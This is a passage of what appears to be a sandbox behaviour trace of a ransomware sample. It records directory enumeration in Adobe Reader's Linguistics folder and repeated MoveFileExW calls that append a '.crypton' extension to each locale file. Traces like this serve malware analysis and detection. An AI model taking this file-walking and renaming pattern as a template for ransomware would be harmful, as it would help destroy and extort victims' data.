lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda2f6a20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda2f6a20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0155.750] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda31cb80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda31cb80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0155.757] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda31cb80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xda31cb80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0155.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt.crypton"), dwFlags=0x2) returned 1 [0155.802] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt.crypton"), dwFlags=0x2) returned 1 [0155.820] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt.crypton"), dwFlags=0x2) returned 1 [0155.840] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt.crypton"), dwFlags=0x2) returned 1 [0155.858] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt.crypton"), dwFlags=0x2) returned 1 [0155.877] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt.crypton"), dwFlags=0x2) returned 1 [0155.895] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt.crypton"), dwFlags=0x2) returned 1 [0155.912] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt.crypton"), dwFlags=0x2) returned 1 [0155.930] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt.crypton"), dwFlags=0x2) returned 1 [0155.949] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt.crypton"), dwFlags=0x2) returned 1 [0155.969] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt.crypton"), dwFlags=0x2) returned 1 [0155.988] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt.crypton"), dwFlags=0x2) returned 1 [0156.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt.crypton"), dwFlags=0x2) returned 1 [0156.032] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt.crypton"), dwFlags=0x2) returned 1 [0156.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt.crypton"), dwFlags=0x2) returned 1 [0156.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt.crypton"), dwFlags=0x2) returned 1 [0156.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt.crypton"), dwFlags=0x2) returned 1 [0156.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt.crypton"), dwFlags=0x2) returned 1 [0156.120] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt.crypton"), dwFlags=0x2) returned 1 [0156.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt.crypton"), dwFlags=0x2) returned 1 [0156.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt.crypton"), dwFlags=0x2) returned 1 [0156.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt.crypton"), dwFlags=0x2) returned 1 [0156.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt.crypton"), dwFlags=0x2) returned 1 [0156.227] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0156.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt.crypton"), dwFlags=0x2) returned 1 [0156.264] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt.crypton"), dwFlags=0x2) returned 1 [0156.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt.crypton"), dwFlags=0x2) returned 1 [0156.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt.crypton"), dwFlags=0x2) returned 1 [0156.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt.crypton"), dwFlags=0x2) returned 1 [0156.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt.crypton"), dwFlags=0x2) returned 1 [0156.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0156.371] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt.crypton"), dwFlags=0x2) returned 1 [0156.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt.crypton"), dwFlags=0x2) returned 1 [0156.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0156.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt.crypton"), dwFlags=0x2) returned 1 [0156.445] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt.crypton"), dwFlags=0x2) returned 1 [0156.463] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt.crypton"), dwFlags=0x2) returned 1 [0156.481] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt.crypton"), dwFlags=0x2) returned 1 [0156.498] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt.crypton"), dwFlags=0x2) returned 1 [0156.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt.crypton"), dwFlags=0x2) returned 1 [0156.536] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt.crypton"), dwFlags=0x2) returned 1 [0156.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt.crypton"), dwFlags=0x2) returned 1 [0156.576] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 